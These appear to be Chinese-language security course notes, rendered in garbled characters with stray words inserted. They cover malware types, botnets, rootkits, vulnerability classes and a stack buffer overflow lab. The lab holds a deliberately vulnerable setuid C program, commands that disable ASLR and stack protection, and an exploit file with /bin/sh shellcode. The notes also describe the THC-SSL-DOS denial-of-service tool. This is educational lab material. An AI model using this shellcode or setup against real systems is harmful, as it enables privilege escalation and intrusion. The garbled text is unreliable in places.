1.1 .1 惡意代碼的定義:
惡意代碼是指使計算機安裝攻擊者意圖執行的指令集
1.1.2 惡意代碼的分類:
計算機病毒、蠕蟲、惡意移動代碼、後門、特洛伊木馬、殭屍程序、內核套件(Rootkit)、融合型惡意代碼。python
1.2.1 計算機病毒的基本特性
感染性、潛伏性、可觸發性、破壞性、衍生性
1.2.2 感染及引導機制
可執行文件、引導扇區、支持宏指令的數據文件
1.2.3 傳播機制
移動存儲、電子郵件、下載、共享目錄
1.2.4 網絡蠕蟲linux
基本特性:經過網絡自主傳播 組成結構:彈頭(緩衝區溢出攻擊、文件共享攻擊、利用電子郵件傳播、利用其餘廣泛的錯誤配置)、傳播引擎、目標選擇算法、掃描引擎、有效載荷
1.2.5 後門與木馬
後門容許攻擊者繞過系統常規安全控制機制的程序,可以按照攻擊者本身的意圖提供訪問通道
木馬其做爲特洛伊木馬的簡稱,是指一類看起來具備某個有用或者善意目的,但實際掩蓋着一些隱藏惡意功能的程序。
1.2.6 殭屍程序與殭屍網算法
僵屍網絡的定義
僵屍網絡是在網絡蠕蟲、特洛伊木馬、後門工具等傳統惡意代碼形態的基礎上發展融合而產生的一種新型攻擊方式。僵屍網絡是指攻擊者出於惡意目的,傳播殭屍程序控制大量主機,並經過一對多的命令與控制信道所組成的網絡。
僵屍網絡區別於其餘攻擊方式的基本特性
使用一對多的命令與控制機制,另外,僵屍網絡還具備惡意性和網絡傳播性。
僵屍網絡功能結構
網絡控制器和殭屍程序,其中殭屍程序分爲主體功能模塊和輔助功能模塊
殭屍程序的命令與控制機制
基於IRC協議的命令與控制機制、基於HTTP協議的命令與控制機制、基於P2P協議的命令與控制機制shell
1.2.7 Rootkitwindows
Rootkit的定義
一類特洛伊木馬後門工具,經過修改現有的操做系統軟件,使攻擊者得到訪問權並隱藏在計算機中。
分類
用戶模式Rootkit和內核模式Rootkit(Linux內核模式Rootkit、Windows內核模式Rootkit)。瀏覽器
靜態分析和動態分析sass
惡意代碼發燒友的分析環境 基於虛擬化構建惡意代碼分析環境 用於研究的惡意代碼自動分析環境
反病毒軟件掃描 文件格式識別(識別軟件:PEiD、FileInfo、FileAnalzer) 字符串提取分析 二進制結構分析 反彙編 反編譯 代碼結構與邏輯分析 加殼識別和代碼脫殼
惡意代碼動態分析技術:基於快照對比的方法和工具、系統動態行爲監控方法(文件行爲監控軟件、進程行爲監控軟件、註冊表監控軟件、本地網絡棧行爲監控軟件)、網絡協議棧監控方法、沙箱技術、動態調試技術安全
軟件安全漏洞威脅
系統的脆弱性或缺陷、攻擊者對缺陷的可訪問性和攻擊者對缺陷的可利用性三個元素
軟件安全困境
複雜性、可擴展性、連通性
軟件安全漏洞類型
XSS、SQL注入、PHP遠程文件包含、目錄遍歷、信息泄露、由畸形輸入致使的拒絕服務、符號連接問題、格式化字符串、密碼學缺陷。
按照技術類:內存安全規範類、輸入驗證類、競爭條件類、權限混淆與提高類。bash
緩衝區溢出定義
計算機程序中存在的一類內存安全違規類漏洞,在計算機程序向特定緩衝區內填充數據時,超出了緩衝區自己的容量,致使外溢數據覆蓋了相鄰內存空間的合法數據,從而改變了程序執行流程破壞系統運行完整性。
緩衝區溢出攻擊原理
棧溢出、堆溢出、內核溢出。服務器
Linux平臺棧溢出攻擊技術的模式
NSR、RNS、RS三種模式。
NSR和RNS模式適用於本地緩衝區溢出和遠程棧溢出攻擊,而RS模式只能用於本地緩衝區溢出攻擊。
Linux平臺的Shellcode實現技術Linux本地Shellcode實現機制、Linux遠程Shellcode實現機制
Windows平臺棧溢出攻擊技術
Windows平臺棧溢出攻擊技術機理:對程序運行過程當中廢棄棧的處理方式差別、進程內存空間的佈局差別、系統功能調用的實現方式差別
Windows平臺Shellcode實現技術Windows本地Shellcode、Windows遠程Shellcode
在kali上輸入命令安裝一些用於編譯32位C程序sudo apt-get update
sudo apt-get install lib32z1 libc6-dev-i386
sudo apt-get install lib32readline-dev
輸入linux3
,進入32位linux環境;繼續輸入/bin/bash
使用bash:
使用命令sudo sysctl -w kernel.randomize_va_space=0
關閉地址空間隨機化來隨機堆和棧的初始地址
用如下命令設置zsh程序
sudo su cd /bin rm sh ln -s zsh sh exit
通常狀況下,緩衝區溢出會形成程序崩潰,在程序中,溢出的數據覆蓋了返回地址。而若是覆蓋返回地址的數據是另外一個地址,那麼程序就會跳轉到該地址,若是該地址存放的是一段精心設計的代碼用於實現其餘功能,這段代碼就是shellcode。
#include <stdio.h> int main( ) { char *name[2]; name[0] = ‘‘/bin/sh’’; name[1] = NULL; execve(name[0], name, NULL); }
使用命令cd tmp
進入tmp目錄使用命令vi stack.c
保存到 /tmp 目錄下
代碼以下
/* stack.c */ /* This program has a buffer overflow vulnerability. */ /* Our task is to exploit this vulnerability */ #include <stdlib.h> #include <stdio.h> #include <string.h> int bof(char *str) { char buffer[12]; /* The following statement has a buffer overflow problem */ strcpy(buffer, str); return 1; } int main(int argc, char **argv) { char str[517]; FILE *badfile; badfile = fopen("badfile", "r"); fread(str, sizeof(char), 517, badfile); bof(str); printf("Returned Properly\n"); return 1; }
編譯stack.c程序,並設置SET-UID,使用以下命令
sudo su gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c chmod u+s stack exit
一樣把如下代碼保存爲「exploit.c」文件,保存到 /tmp 目錄下
/* exploit.c */ /* A program that creates a file containing code for launching shell*/ #include <stdlib.h> #include <stdio.h> #include <string.h> char shellcode[]= "\x31\xc0" //xorl %eax,%eax "\x50" //pushl %eax "\x68""//sh" //pushl $0x68732f2f "\x68""/bin" //pushl $0x6e69622f "\x89\xe3" //movl %esp,%ebx "\x50" //pushl %eax "\x53" //pushl %ebx "\x89\xe1" //movl %esp,%ecx "\x99" //cdq "\xb0\x0b" //movb $0x0b,%al "\xcd\x80" //int $0x80 ; void main(int argc, char **argv) { char buffer[517]; FILE *badfile; /* Initialize buffer with 0x90 (NOP instruction) */ memset(&buffer, 0x90, 517); /* You need to fill the buffer with appropriate contents here */ strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??"); strcpy(buffer+100,shellcode); /* Save the contents to the file "badfile" */ badfile = fopen("./badfile", "w"); fwrite(buffer, 517, 1, badfile); fclose(badfile); }
輸入命令gdb stack
進入gdb調試disass main
獲得shellcode在內存中的地址
地址計算方法:
shellcode保存在 buffer+100 的位置,將100換爲十六進制與ffffd3f0相加獲得ffffd454,添加到exploit.c的此處「\x??\x??\x??\x??「
修改後使用命令gcc -m32 -o exploit exploit.c
編譯exploit.c程序
先運行攻擊程序exploit,再運行漏洞程序stack
屢次嘗試仍然出現段錯誤,代碼和成功實驗同樣,不知哪裏出錯了
壓力測試經過肯定一個系統的瓶頸或者不能接受的性能特色,來得到系統能提供的最大的服務級別的測試。通俗的講,壓力測試是爲了發如今什麼條件下您的應用程序的性能會變得不可接受。kali下壓力測試工具寶庫VoIP壓力測試,WEB壓力測試,網絡壓力測試及無線壓力測試四個分類。
藉助THC-SSL-DOS攻擊工具,任何人均可以把提供SSL安全鏈接的網站攻擊下線,這種攻擊方法被稱爲SSL拒絕服務攻擊(SSL DOS)。德國黑客組織「The hacker's choice」發佈THC SSL DOS,利用SSL中的已知弱點,迅速消耗服務器資源,與傳統DDoS工具不一樣的是,它不須要任何帶寬,只須要一臺執行單一攻擊的電腦。 漏洞存在於協議的renegotiation過中,renegotiation被用於瀏覽器到服務器之間的驗證。
數字取證技術將計算機調查和分析技術應用於對潛在的,有法律效力的電子證據的肯定與獲取,一樣他們都是針對黑客和入侵的,目的都是保障網絡的安全。
取證分隔工具binwalk
binwalk是一個固定的分析工具,旨在協助研究人員對固件非分析,提取及逆向工程用處。簡單易用,徹底自動化腳本,並經過自定義簽名,提取規則和插件模塊,還有重要的一點的是能夠輕鬆的擴展。藉助binwalk有個很強大的功能是提取文件(壓縮包)中存在的隱藏文件(或內容文件),亦可分析文件格式。,解壓縮包,查看壓縮包。
分析一個壓縮包,可告知從什麼地址開始什麼地址結束
使用-e功能可直接將文件解壓出來
可做爲文件格式分析的工具
數字取證套件
兩個圖形化的界面autopsy(以瀏覽器的形式訪問本地的9999端口)
程序的圖形化界面dff,圖形界面是dff.gui